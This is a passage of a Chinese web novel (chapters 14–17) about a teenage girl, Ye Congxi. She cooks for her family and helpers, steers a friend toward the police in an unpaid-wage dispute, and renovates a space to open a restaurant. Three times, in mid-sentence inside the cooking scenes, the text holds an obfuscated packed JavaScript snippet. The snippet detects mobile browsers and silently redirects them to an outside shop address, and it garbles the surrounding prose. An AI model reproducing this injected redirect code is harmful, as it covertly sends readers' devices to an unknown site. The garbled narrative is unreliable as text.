叶大翔坐下来喝一口温热的汤，叹谓一声：“刘老头，我刚刚路过还以为你厨艺也那么好呢，没想到还是我女儿煮的。” 刘大爷语气酸溜溜的：“是啊，有个那么厉害的女儿，你就偷笑吧。” 叶大翔：“我为什么要偷笑？我就要光明正大笑，大声笑，哈哈哈哈哈哈！” 叶从溪：“……” 叶从溪吃掉碗里的排骨，她问刘大爷：“刘爷爷，你知道营业执照办下来要多久吗？” 14. 14 张阿婆一听：“你想开店？” 叶从溪点头：“嗯，我想把原来一楼那房子改成商铺。” 刘大爷正啃着玉米，边嚼边说：“我也不清楚这些手续，不过我可以给你问问，现在饭店确实挣钱，不过你就不上学了？专心做生意？” 他们这边对学历方面没有那么看重，很多人都是早早就出去做工做生意挣钱。 但张阿婆跟刘大爷都不太赞同这种。 他们家里也有女儿，当年亲戚们都说女孩子没必要念那么多书，但老两口还是顶着压力把女儿供出来了。 还有李大爷家的女儿也是。 两个姑娘都是念到大学，见识到更多的东西。 所以老两口觉得，读书还是很重要的。 叶从溪摇摇头：“没有，我先教我爸，等开学了就让他干，我平时还得上课呢。” 刘大爷颇为嫌弃地看了叶大翔一眼：“你爸的手艺再练个八百年都赶不上你。” 叶大翔：“？？”你这刘老头什么意思？可还真没法反驳。 张阿婆现在是越看叶从溪越顺眼：“对，赚钱重要，但读书也重要。” 这玉米排骨汤正好当晚饭，距离宵夜出摊还有段时间，三人干脆顺着河涌走走消消食。 在路上就遇见了叶大翔那送煤气瓶的熟人。 叶从溪想着住的地方没有煤气灶不方便，她准备把刘大爷送的煤气灶拿到三楼去用，然店再重新定做一套。 送煤气瓶的经常跑各个饭店，应该知道这方面的渠道吧？ 熟人名叫孙天山。 他将刚从顾客家换下来的煤气瓶扛到自己三轮车上，回头一看，立刻打了招呼：“叶老板，你们吃饭没有？煤气瓶要不要换新的？” “刚吃完，”叶从溪开口，“孙叔叔，您知道哪能定做那种饭店用的大灶台吗？” 他们这么一问，孙天山倒是想起一件事：“你们要定做灶台？要几个头的？正好前面有家店要关了，如果我没记错的话，他们家的燃气灶应该是四个头的，他那店没开多久，东西还挺新的。” 叶从溪当即来了劲：“哪里呀？这里出去吗？” “就前面不远，走走走，我带你们去。” 孙天山一踩三轮车，哐当一声发动，载着他们哐哐驶出去。 几百米后，一家饭店的卷帘门半拉着，旁边的墙面贴着写有旺铺转让的大红纸。 这家店老板年前来鹏城创业，想着做吃的肯定赚钱，没想到生意一天比一天差，不到一年就坚持不下去了。 这餐饮的钱是好赚，但也不是人人都能赚的。 他认命开始卖东西，转让店铺。 叶从溪进厨房看了看煤气灶。 “老板，这个你准备出多少钱？” 那老板比划了一下：“六百块，我这个是当时花八百块定做，火力特别猛，都没用多久。” 叶从溪摇摇头：“六百块太贵了，五百。” 老板还是想多回本，咬死六百。 结果叶从溪转身就要走，他连忙把人喊回来：“算了算了，五百就五百吧。” 叶从溪拍了拍旁边的桌子：“再加一百，这些我全都收了。” 老板犹豫两秒，最后一咬牙：“行行行，拿走吧，不过我可不帮你搬啊，你们自己想法子。” 他现在看见店里这些东西就觉得烦。 孙天山说他先把煤气瓶送回店里，等下开三轮车回来帮着他们一起运。 孙天山回来时，还带了个人。 孙天宝顶着一头绿毛从三轮车后面跳下来。 “翔哥好，嫂子好，”孙天宝转身看叶从溪，“小溪，咋样，那小子你给拿下没？” 孙天宝嘴里的那小子指的就是江闻川，之前就是他一直给叶从溪出谋划策说要怎么追人。 叶从溪：“天宝哥，这事说来话长，不过现在我已经不喜欢江闻川了，以后就不要提他啦。” 她现在心里就两件事，一个是学习，一个是挣钱。 孙天宝帮忙搬东西，听叶从溪说他出去送货这段时间发生的事。 他听得目瞪口呆。 “什么？那小子居然报警？” “什么？翔哥，你们现在在摆摊卖盒饭？而且还准备开店？” 信息量太大了，他一时之间都不知道应该先震惊哪个比较好。 “对啊，这主意是小溪提的，每道菜都是她安排的，我们生意特别好，好多人来买，”林秋娇说，“还有你翔哥现在做的土豆煎饼可好吃了，等下让他做给你尝尝。” 孙天宝抖了下：“翔哥还会做土豆饼？” 他记得有一年过年，翔哥亲自下厨做出一团黑炭，那一幕着实让人难以忘怀。 叶从溪：“我爸现在成长了。” 叶大翔：“就是！那句话怎么说来着，什么昨日今日语……” 叶从溪：“不可同日而语。” 孙天宝：“……”害怕。 他就出去半个月没错吧？怎么大家都变化那么大？ 叶从溪站起身：“孙叔叔，天宝哥，你们今晚就在这吃吧。” 孙天山自然是再三拒绝。 但叶大翔也再三挽留：“要不是有你们，我们还不知道得搬到什么时候呢。” 孙天山也就应了下来。 叶大翔出门买菜回来。 叶从溪清点一遍：“今天就做蒜薹炒肉片，梅菜扣肉，再来个炒花甲跟炒青菜。” 孙天宝惊得嘴巴都要掉到地上：“你现在连梅菜扣肉都会？” 叶从溪：“你就看好啦。” 她先把带皮的五花肉用火烫一遍去掉腥味，然后切成大块，丢进锅里焯水，捞出来再擦干，放油锅一炸。 肉下锅那一刻，锅里滋啦一声，油香四溢。 炸得金黄的五花肉交给叶大翔切片。 叶大翔的刀工进步不少，慢慢细致地切，也能切出均匀的肉。 叶从溪把调好的酱汁往肉上一抹，摆在碗里，最顶端再铺上一层刚刚泡好的梅菜，放到蜂窝煤炉上蒸。 随着时间一点点过去，梅菜扣肉的香味弥漫出来，叶从溪看着时间差不多，开始做蒜薹炒肉。 叶从溪选了一块瘦肉和一块五花肉，五花肉切成片，瘦肉切成丝，这样口感更好。 肉是腌过的，先把五花肉放下去煸炒出油，再加瘦肉和蒜薹。 她还加了小米椒，锅里红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698782|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的辣椒、绿的蒜薹、酱色的肉片，用猛火爆炒。 那股香气一钻进鼻子，孙天宝立刻咽了咽口水。 炒花甲和蒸蛋都是快手菜，三下两下就齐活了。 四个菜一上桌，热气腾腾的香味在院子里打转。 孙天山忍不住惊叹：“这手艺绝了，难怪你们生意那么好。” 叶从溪摆好筷子，笑着说：“快吃吧。” 孙天宝早就按捺不住，筷子一伸，先夹了块梅菜扣肉。 那肉肥瘦分明，油光发亮，因为炸过的缘故，表皮皱皱巴巴的，挂满浓郁的汤汁，还带着碎碎的乌黑梅菜，刚一入口，咸香、甜香、肉香全在嘴里炸开。 孙天宝直接原地蹦起来：“小溪，你太强了吧，这比外面那些大老板在酒楼吃的还要香！” 他们这些运货的，有时候去到一个地方，老板就会请客招待一下，那些大酒楼一道菜卖得可贵了，都没有这个好吃。 叶大翔故作深沉：“坐下坐下，别一惊一乍的，像什么样子。” “不好意思啊翔哥，但这个太好吃了……呜……”孙天宝又往嘴里扒拉一口饭。 虽然是五花肉，但吃着一点都不腻，还有滴下来的酱汁也香得不行，把下边的米饭浸透得发亮。 这才一片肉啊，他都配完半碗饭了。 孙天山没说话，只是闷头猛吃，不过从他扒拉饭菜的频率也能看出来，他吃得非常开心。 林秋娇笑着说：“多吃点，我就知道你们肯定会喜欢吃，我煮了一大锅饭，不怕不够吃。” “嫂子神机妙算。”孙天宝嘴上夸着，筷子又往蒜薹炒肉那边伸。 这道菜辣香扑鼻，红绿相间，瘦肉丝滑嫩，肥肉片滑爽，蒜薹又脆又鲜，实在是开胃得很。 林秋娇舀一勺嫩嫩的蒸蛋。 这还用算吗？她女儿做菜那么好吃，谁能不吃撑？ “这个炒花甲也香，比我们之前去吃的那个大排档好吃多了。。” 之前他们很喜欢去一家大排档吃炒田螺炒米粉炒花甲，现在一对比，也就那样。 四道菜，份量都不少，可没一会儿的功夫，还是全都被吃得干干净净。 别说梅菜扣肉的汤汁了，就连炒花甲那红亮香辣的底汁也都被拿过来拌饭了。 作为厨师，叶从溪就喜欢这一幕，让她很有成就感。 孙天山还有活，吃完就先回去，孙天宝留下来洗碗。 洗碗这活，他都没怎么干过，也不爱干，但今天吃到那么香的饭菜，他心情特别好，刷完的时候还在哼着小曲。 孙天宝问：“翔哥，你们家真的不缺一个吃干饭的？” 叶大翔一抬脚：“滚滚滚。” 孙天宝厚着脸皮：“别啊翔哥，你不是还要帮请我尝尝你做的土豆煎饼吗？” 晚上，叶从溪回三楼看书，孙天宝跟着去摆摊。 来买土豆煎饼的客人就没有停过。 一直干到九点多。 孙天宝分到最后一块土豆煎饼，吃得满嘴油光：“你们搬家了，我应该送点礼的，但我工钱还没发，等发了我再给补上。” 叶大翔皱皱眉：“你们老板又没发工钱？上个月的也没发吧？” 15. 15 孙天宝一提起工资的事，整个人都蔫了：“可不嘛，手头都穷得叮当响了……要是还不发，翔哥，你带兄弟们帮我弄他。” 叶大翔犹豫：“这不太好吧，万一这打打杀杀的事传出去，影响我卖土豆饼怎么办？” 孙天宝想了想：“那戴着头□□？” 叶大翔觉得这个法子可行，他让孙天宝先回去看看能不能把工资讨回来。 第二天。 叶从溪刷完题走出房间。 桌子上的食材清单已经被拿走，应该是她爸出门去菜市场采购了。 林秋娇把她的牛奶拿进来：“刚刚我在楼下遇见刘老头，他说如果铺子弄好，他这边再让他侄子催一催，营业执照两三天就能办下来。” “那得先改铺子。”叶从溪喝完牛奶，把空瓶子一放，“那我先去小院那边看看，妈，你帮我擦擦桌上那几本练习册的笔迹。” 林秋娇：“行，交给我，我擦完再过去煮饭。” 收购了那些灶台桌椅后，现在叶从溪手里就不到一百块，她正琢磨着这点钱应该怎么搞装修。 刚站到小院门口，就听见里面传出来的对话。 “他又拖，说下个月给我，上个月不也这么说的？早上我还跟他吵一架，他还敢叫我滚！翔哥，我忍不下这口气，真得教训他一顿。” “……也别搞太狠，吓一吓就行，我现在不打架的，那个头套你准备准备，这件事别让小溪知道。” 嘎吱一声，门推开。 叶从溪站在门口，双手抱胸：“那可能不行了，我已经全听到了。” 院子瞬间安静。 “爸，你怎么回事，上次教训不够惨吗？你还想要又赔三百块出去吗？” 叶大翔被一连串的问话训成孙子，表情从心虚到尴尬：“这……那不一样，那个人太过分了，他这么有钱还拖着天宝的工资不发。” “拖工资也不能动手。”叶从溪叹了口气，“真出了事，理亏的是我们。” 孙天宝挠头：“那还能咋整？” “报警。” 两人同时愣住。 像孙天宝这种小混混，自然是从来没有想过报警这个途径的，他们躲着警察还来不及呢。 “……警察真能管？” “怎么不能管？我爸打人不就让他赔钱了嘛？” 叶大翔：“咳咳，这件事就不用再说了。” 叶从溪带着孙天宝去报警，警察效率也高，问完情况，就跟着去了一趟货运公司。 那老板一看孙天宝带了警察，脸色黑得能滴出墨。 可在警察面前，也只能憋着火，把拖欠的三个月工资一分不少全给了。 孙天宝拿到钱那一刻，整个人都傻了，好一会才挤出声：“这还真有用啊。” 警察走后，那老板冷着脸在后面骂：“孙天宝，从今天开始你就给我滚！” 孙天宝往后呸了一声：“谁稀罕啊，不是你开除我，是老子不想干了。” “工资是拿到了，可这口气我真消不下去，真想……”孙天宝见叶从溪看过来，连忙赔笑，“小溪小溪……哦不，溪姐我就是说说而已，一时嘴快，没真想揍他！” “你想解气，我倒是有个办法，”叶从溪笑眯眯地说，“我刚刚看了下，这小公司的消防根本不过关，你回头去举报，他肯定得被查得底朝天。” 孙天宝一拍手：“举报消防？对哦，我之前在的那个工地，就是被举报消防，工头都被带到警察局问话了，好像说什么不达标，要赔钱呢。” “你还干过工地？”叶从溪来了兴趣。 孙天宝：“是啊，我十五岁就出来干工地了。” “那砸墙抹水泥改电线这些你都会吧？” 孙天宝：“改电线不行，这些都是电工做的，不过其他我都行。” 叶从溪溪心里一转：“我准备把一楼那房子整改，小院搭个棚做厨房，把房间跟大厅打通，然后开个大门，再刷一遍墙，你能做吗？” 两人回到小院，叶从溪把其中一面墙指给孙天宝看。 孙天宝敲了敲墙面：“这个不是承重墙，可以打掉。” 这房子其实挺大的，一个人干太慢，几人商量了下，孙天宝决定去找帮手。 这些帮手也是叶大翔的小弟。 “对，让毛仔他们来帮忙，我们给开工资。”叶大翔也想着都是给人赚钱，还不如给兄弟赚。 叶从溪补充一句：“还包三餐。” 孙天宝听见这句话，眼睛都亮了。 能吃上他溪姐做的饭菜，就算不给工资，他也愿意来干啊。 “我这就去喊他们！” 有三个小弟是在摩托车维修店干杂活的，每天也就上半天班。 “翔哥要开饭店，咱们当兄弟肯定要搭把手。” “行啊，不过我们要晚上才能过去。” …… 问了一圈，就毛仔现在没活干，跟着孙天宝先去了。 早上就是先清东西，该搬的搬，该砸的砸。 一直干到三点多，可算把墙给砸了，屋子里的东西也都清空了。 林秋娇负责帮忙搬东西，几趟下来，她累得不行，但想到以后饭店开起来，她自己也能当老板，顿时又浑身充满干劲。 叶从溪从菜市场回来，她将自行车停好，看一眼屋里满头大汗的四人。 “累了吧，我先做饭，再等等就能吃了。” 孙天宝一拍胸脯：“不累不累，一想到等下能吃到你做的饭菜，我现在浑身充满干劲，再来一面墙我也能砸。” 毛仔小心翼翼：“宝哥，你这是真饿疯了吧？”至于吗？ 孙天宝语重心长：“你等下试过就知道了。” 叶从溪知道搞装修费体力，所以今天弄了两个肉菜。 一个是卤鸡腿，一个是回锅肉，然后再加一份青菜。 鸡腿先开花刀，接着焯水去腥进锅卤。 锅里卤水渐渐翻滚，八角、桂皮、干辣椒、酱油混着肉香飘得满院子都是。 正在铲墙皮的毛仔闻到这味道，停了动作，肚子发出强烈的饥饿信号。 他震惊：“好香啊，小溪现在都那么厉害了？” 孙天宝心想这菜太香了也有不好的地方，他们现在还不能吃，只能闻香味也太折磨人了。 叶从溪把大蒜拍碎，切好几颗红辣椒跟青椒，五花肉先炒出油，放配菜下锅，滋啦一声，锅里红亮亮的，随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698783|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆炒的动作，香味顺着腾起的火焰窜上来。 肉香混着辣香味，叶从溪将回锅肉盛出来，正准备进屋喊人。 一转头，好几个脑袋都已经凑到门框边了。 叶从溪：“……” 米饭添好，锅里的卤鸡腿也出锅了，这锅肉被卤得红亮油润，光看卖相就让人流口水。 “剩下这个卤水还能卤素菜，卤好后我们留点当零嘴，剩下的就拿到夜市卖。”卤过肉的卤水用来卤素菜味道更香。 “这鸡腿那么大个，我们一人一个吗？”毛仔眼睛黏在鸡腿上，移都移不开。 “对啊，你们今天干活辛苦了，多吃点，吃完才有力气，争取三天之内搞完。”叶从溪微笑。 “没问题！”毛仔将整个大鸡腿夹到自己碗里。 鸡腿真的太大了，分量十足，他差点都要夹不稳，碗也要盛不下了。 毛仔赶紧低下头，用力咬一大口鸡腿肉。 卤鸡腿酱香浓郁，外皮滑嫩，肉软烂得刚刚好，一咬就脱骨，但又不会失了肉感，肉汁锁在肉里，随着牙齿的咀嚼，味道越来越香。 毛仔两三口就把整个鸡腿啃得七七八八。 鸡骨边边角角的肉他也不放过，全都啃得干干净净，那根入了味的鸡骨头也是嗦了再嗦，这才依依不舍地放下。 卤鸡腿里放了不少干辣椒，毛仔吃得嘴巴都红红的，但是特别过瘾。 孙天宝朝他挤了挤眼睛：“怎么样，咱们溪姐这手艺你服不服？” “服！”毛仔一脸真诚，“小溪，你这卤料是在哪儿买的？我回头也整点回去卤猪蹄。” 叶从溪：“这个是我自己调的。” 叶大翔哼哼两声：“外头那些现成料哪比得上我女儿的手艺。” 林秋娇：“就是！”她女儿可是神厨！ 毛仔觉得有点可惜，外面没得卖，那他不是吃不上了？翔哥家又不是天天都有装修的活！ 他难过地夹起一筷子回锅肉。 香辣的回锅肉一入口，毛仔顿时没有心思去想其他事情了。 五花肉切得薄薄的，炒得焦香又入味，红亮亮的油光裹着辣椒段。 这一口下去，外酥里嫩，肥的部分入口即化，瘦的带劲有嚼头。 怎么能炒得那么好吃，那么香，那么下饭！ 叶大翔一边吃一边问：“阿威他们不来了？” 毛仔嘴巴塞得满满的，含糊道：“他们晚上才来呢。” 幸好他早上就来了，不然错过这一顿那么好吃的午饭，他得后悔死！ 这一顿，毛仔足足添了三碗饭，吃饱喝足之后，下午开工的时候更卖力了。 叶从溪将海带，金针菇，豆腐，还有莲藕放到锅里。 素菜不用卤太久，没一会就能捞上来。 叶从溪跟叶大翔说，素菜按照重量来卖，价格都在一块五到两块左右。 叶大翔请隔壁买水果的大姨吃了块土豆煎饼：“姐，等下有人来买卤菜，我就借你这秤用用哈。” 大姨的摊子就在旁边，天天闻着土豆煎饼的香气也是馋得不行，不过因为节省，不舍得掏钱买。 现在终于吃上了，她大方地说：“你直接拿过来称就好。” 16. 16 宋羽回到宿舍门口，她隐隐约约听见里头传出一阵低低哭声。 她脚步一顿，推门进去，哭声立马没了。 对面床的小姑娘翻了个身，把脸埋进被子里。 宋羽想了想，还是过去，轻轻地戳了戳她肩膀：“怎么了？哭什么？” 小姑娘倔强：“我没哭。” 宋羽笑了：“你都这鼻音了，还说自己没哭？想家了？” 这小姑娘叫孟春晓，十七八岁的样子，脸还带点稚气，她家在外省的小县城，跟着老乡一路倒火车转大巴，才来到鹏城打工。 这一来，只怕是要过年才能回家了。 白天忙还好，等晚上安静下来，心一空，就忍不住掉眼泪。 她也怕人笑话那么大人还想家，就躲在被窝里偷偷哭。 这被宋羽发现了，她有点不好意思。 宋羽也是这样过来的，一开始住在宿舍很不适应，但慢慢地就习惯了。 现在让她回家住，她还不乐意呢，回家要干家务活，哪里像在外面打工，只要照顾好自己吃喝就行。 “你吃饭没有？”宋羽问。 孟春晓摇摇头：“没有，我中午去看了下，东西都好贵啊，我想一天吃一顿就行。” 宋羽皱眉：“那可不行，鹏城的物价是贵，可只要你勤快点，三餐还是吃得起的。你一天吃一顿，饿坏了谁管你啊？” 孟春晓小声说：“我爸说要攒钱，寄回去给我哥娶媳妇。” 这句话不说还好，孟春晓这一说，宋羽更要让她把钱花在自己身上了。 宋羽没有亲兄弟，但她有个堂哥，她爸天天说什么以后他死了是要让堂哥来摔盆子的，所以比起女儿，他对这个侄子更好。 不止自己的钱全往侄子那边倒，甚至还要女儿的钱给侄子花。 宋羽出来打工三年了，每一年回家，堂大伯一家子人全都在惦记着她兜里的钱。 宋羽就笑嘻嘻地说她都花完了，天天在外面吃饭买衣服，一个子都没有剩。 家里亲戚就说她大手大脚，哪有女孩子不顾着家里光自己享受的。 宋羽翻个白眼，她的钱不自己享受，难道要跟个傻子一样献给他们吗？ 宋羽不想当傻子，她也不想孟春晓当傻子。 “刚出来哪里攒得下钱，好多东西都要买呢。”宋羽喊她，“我看你就一个盆，总不能洗脸洗衣服都用这个吧，走，我带你去夜市逛逛。” 厂里只发了个桶，还有一床被子和一个盆，其他什么东西都没有，全得自己置办。 孟春晓确实想将就着用的，但被宋羽说出来，她脸有点红：“我没有钱，我爸妈让我先坚持这一个月，到时候留五十自己花，其他的再寄回去。” 五十一个月，一天不到两块钱的生活费，这在鹏城够什么用啊？ 除非天天吃厂里最便宜的米饭加青菜。 宋羽差点气笑了，又安慰她：“没事，厂里前三天的工钱是日结的，等下我带你去领。” 宋羽带着孟春晓去办公室。 孟春晓看着手里的十块，震惊道：“一天真有十块钱啊，我还以为是骗人！” 她爸妈听到邻居说鹏城能赚钱，就把她送来了，也没人跟她说要干什么，怎么干，这几天她一直挺害怕的。 “以后你好好干，工资肯定会涨上去的。”宋羽拉着她，“现在有钱了，可以去买东西了吧？” 孟春晓犹豫了下，肚子咕噜发出一声，她耳朵红红地点头。 今天的钱就先拿来填饱肚子吧，等明天赚了的，再攒着寄回家给哥哥娶媳妇。 宋羽带着孟春晓去买了洗脸盆，又买了洗漱用品。 小超市旁边就是夜市。 “前面有家卖土豆饼可好吃了，他们家盒饭也好吃，买的人很多。”宋羽带着孟春晓来到土豆摊前。 宋羽惊讶地发现：“咦，今天居然还有卤味。” 那几盆卤菜分好类按照扇形摆得整整齐齐，颜色深亮诱人，香味一层压一层地往外涌。 卖相跟香味都很不错啊。 保险起见，宋羽问道：“老板，这卤味是你女儿做的吗？” 林秋娇一边装土豆煎饼，一边点头：“对，都是我女儿卤的哦。” 宋羽立刻道：“那都给我捡一点。” 因为每种卤菜的价格不一样，林秋娇用一个搪瓷盆放在称上面，装好再倒回袋子里。 她刚开始不会看秤，是卖水果的大姨耐心教她的。 没多一会儿，林秋娇就琢磨明白了，现在越称越熟练。 宋羽买了五块钱卤味，又要了个煎饼，她回头问孟春晓：“你要吗？” 孟春晓闻着空气中的土豆煎饼香味：“我，我就要一个煎饼吧。” 卤味看着好贵，这个就算了。 买完宵夜，她们回到宿舍。 这时候煎饼刚好到了还热乎乎，但不会很烫嘴的程度，外皮被煎得金黄酥脆，尤其是上面撒的辣椒粉，简直就是整个煎饼的灵魂所在。 辣得过瘾，香得上头！ 她敢说，这家煎饼那么火，百分之八十都是冲着这口香辣味去的。 “好吃吧？”宋羽去问孟春晓。 孟春晓用力地点点头，眼睛发亮：“好香，虽然有点贵，但是好好吃。” 她一口一口吃得仔细，还意犹未尽地将袋子里掉的渣渣都倒在嘴巴里吃掉。 宋羽打开装卤味的袋子，递给孟春晓一根木签：“来吧，我请你吃。” 孟春晓连忙摆手拒绝：“不行，这个那么贵，我怎么能吃你的呢。” 宋羽：“这有什么，你要是实在不好意思的话，到时候请回来就好啦。” 孟春晓内心还是有点挣扎，因为她家里人说，钱不能乱花，要全部攒着寄回去给哥哥的，如果她不寄，爸妈肯定会觉得她不懂事不孝顺吧…… 可是这个卤味看起来真的好香啊。 孟春晓内心挣扎一番，最后还是没能抵住卤味的诱惑：“……好，那我就尝一点，我下次请你吃东西。” 她用签子插起一块莲藕，莲藕切成刚好的厚度，卤得透透的，表皮泛着酱色油光，一口下去，脆中带辣，还透着咸香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698784|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 方方正正的豆干吸饱了卤汁，一口咬下去，那股浓香直接炸开！ 金针菇也是沉甸甸的，浸得变了颜色，夹起来时候，还往底下滴了一点带着卤香的汤汁。 她仰起头，将金针菇吃进嘴巴里，随着咀嚼的动作，咔擦咔擦的声音从口腔穿到头顶，有种被香到天灵盖飞起的感觉。 卤海带更加不用说了，吃卤味必不可少的，柔韧又有嚼劲，越嚼越香。 宋羽也是一签子接着一签子往嘴里送：“好好吃，果然是小叶老板的手艺，要是有碗米饭就好了，可以配着饭吃。” 卤素菜都那么香，如果是卤肉，那得有多好吃啊。 宋羽简直不敢想象。 两人吃饱喝足，孟春晓负责收拾东西，等洗好澡，她躺在床上，此时脑子也没有心思去想家了，全在想刚刚吃卤味。 - 等修摩托车那边活干完，阿威几人也来到小院帮忙装修。 孙天宝一看：“哎呀，你们来得正好，现在开始做防水，来来，一人负责一块，都给我认真做好咯。” 阿威左右张望：“翔哥呢？” 孙天宝：“翔哥跟嫂子去卖土豆煎饼了。” 阿威震惊，怀疑自己听错：“翔哥还会做土豆饼？真的不是强买强卖吗？” 毛仔学着孙天宝之前那副高深莫测的样子说：“你懂啥，翔哥现在不一样了，小溪之前不是学做菜吗，她学得可厉害，做出来的东西都很好吃，还教会翔哥做土豆煎饼，现在就在夜市摆摊，我刚刚还去看了一眼，来买的人可多了，翔哥说等下给我们一人一个尝尝。” 孙天宝一边刷防水，一边说：“撒上辣椒粉，保准你们吃了还想吃。” 因为院子也在整改，单个的燃气灶已经被拿到三楼。 叶从溪刚刚数完一套数学题，她动了动脖子，去厨房做点东西放松一下。 将卤水重新烧开，关掉火，把泡在水里的卤素菜都放到锅里，让它们慢慢入味。 叶从溪心想，等赚到钱了，店里要弄一台冰箱，三楼这边也要买一台冰箱，不然卤菜都不敢做多，怕放着坏掉。 将卤好的菜盛出来，她先给张阿婆他们松一点，然后又回到小院。 “天宝哥，我又做了点卤味，你们休息下来尝尝吧。” 孙天宝眼睛一亮，激动道：“来啦来啦。” 本来下午卤的那一大盆卤味，说是卖剩下的就留给他们尝尝，结果生意太好，根本剩不下来。 还以为今天没希望吃上卤菜，没想到他溪姐又卤了一锅。 阿威夹起一片藕片，嚼两下，整个人愣住：“我天，这味道太绝了，小溪，你手艺可以啊。” “叫什么小溪，这是溪姐。”毛仔吃着一块卤豆腐干，吃得津津有味。 溪姐做的东西怎么都那么好吃，以后他不要跟翔哥混了，他就跟着溪姐混！ 跟着溪姐，才能吃饱饭，而且是超级无敌香的饭菜。 阿威改口改得比谁都快：“对对对，溪姐，这是溪姐，等开店那天就卖卤味吧，这饭店肯定做成。” 17. 17 毛仔：“那必须的，我溪姐不止卤味做得好吃，中午那个回锅肉更香，要不是肚子实在是装不下了，我能吃四碗饭。” 孙天宝回忆起来也是流口水：“还有卤鸡腿也特别好吃。” 阿威他们三人当场傻眼，齐声嚎了一嗓子—— “你们还吃了回锅肉跟卤鸡腿？！” 后悔啊，真是一整个大后悔，早知道他们也中午过来。 “溪姐做的卤鸡腿，那得是啥味的啊？我都想象不出来。” “素的豆腐干都比外头的卤肉香，卤鸡腿不得好吃飞起？” 三人越说越馋，差点在小院里上演一出水漫金山。 叶从溪笑着说：“没事，我明天再卤一锅，你们要是来帮忙也能尝上，要是没空那就开业那天过来，我准备做凉拌卤菜卖。” 卤菜？还是凉拌的？ “就跟市场卖的那种蜀地凉拌一样吗？”阿威想起菜市场有一家卖凉拌菜的，顾客自己挑选了，然后老板称重，再放上辣椒油拌一拌，味道还挺香的。 喝酒的时候用来当下酒菜再适合不过。 叶从溪说：“差不多吧，不过我准备做的是卤过的菜再去凉拌。” 卤菜已经很好吃了，这要是再加上凉拌，岂不是得香得上天？ 几人听得眼都直了。 干活的时候更加卖力了，恨不得今晚就能搞定，明天就能开张，然后他们就能尝上这个凉拌卤味。 做防水，刷墙，安装卷帘门，虽然说人工费可以晚点给，但这买材料也是花钱如流水。 还好现在盒饭跟宵夜摊的生意都很不错。 今天一共做了一百多份盒饭，除去预订的，还剩下三十多份。 叶大翔在泡沫箱面前立起一个牌子写明价格，感兴趣的顾客就会过来问。 宋羽跟孟春晓是同一个车间。 孟春晓在厂里也就只认识宋羽，所以一下工就跟个小跟屁虫一样跟过去了。 “宋羽姐，你说昨天那个卖土豆煎饼的老板还会卖盒饭，就在门口吗？” 她也想去买。 家里不富裕，家里养你到十七八岁，肯定得回报家里，自己饿点就饿点，哥哥能成家立业才重要……这是来鹏城之前爸妈跟她说的话。 她也觉得有道理，所以想要省吃俭用，攒着钱全部都寄回家里。 但昨天那个卤味太好吃了，她从来没有吃过那么好吃的东西。 心里一直在想，他们家的盒饭会是什么味的呢？ 她也好想要尝尝。 宋羽姐好像说这盒饭两块五一份呢……孟春晓很有罪恶感地挣扎了一早上，最后还是抵不过馋意，来问宋羽盒饭摊的地址。 “对啊，就在门口，现在应该开始摆了，你没预订的话得早点过去，不然卖完就买不到了，”宋羽拉起孟春晓，“走走走，我带你去。” 叶从溪看到宋羽就说：“今天是香辣虾跟麻婆豆腐。” “都是辣的呀，我喜欢吃辣的。”宋羽光听叶从溪念这菜品，就已经馋得不行，“再给我拿一份吧，再预订下明天的。” 叶从溪从泡沫箱里拿出一份盒饭，她接过身后孟春晓递过来的钱：“接下来几天不摆摊。” 宋羽一听，急了：“哎？怎么不摆了？出啥事了？不会以后都不卖了吧？” “没有没有，”叶从溪笑着摆手，“新店快开张了，得去买东西做准备，再弄盒饭就忙不过来。” 锅碗瓢盆都是必不可少了，得去批发市场那边拿，比较便宜。 这一来一去，就抽不出时间做盒饭了。 “你们要开店啦？在哪里啊？”宋羽问这话的时候，心里一直在祈祷，千万不要搬到太远的地方啊。 上天听见了她的祈祷。 叶从溪指了指一个路口：“这里进去就到了，很近的，不到一百米的距离。” 宋羽松了口气：“开业第一天我一定要去光顾。” 叶从溪笑了笑：“好啊，欢迎你来。” 回去的时候，宋羽就在想，这店面都搞起来了，以后店里肯定会有更多好吃的吧？ 想想都觉得好幸福啊。 宋羽忍不住傻笑起来。 旁边的孟春晓疑惑地看过来，她才连忙轻咳一声，重新摆出很正常的样子。 今天食堂人太多，没什么位置，她们买了两瓶雪碧。 一开始孟春晓还不舍得买的，宋羽说：“你不是说要请回我吗？那就请我喝雪碧吧。” 孟春晓买了后，宋羽又买了瓶雪碧，说是请她的。 “好啦，别推脱了，等下饭菜都要凉了。” 一个宿舍有四个人，另外两个人出去吃了。 她们坐在床边，打开盒饭。 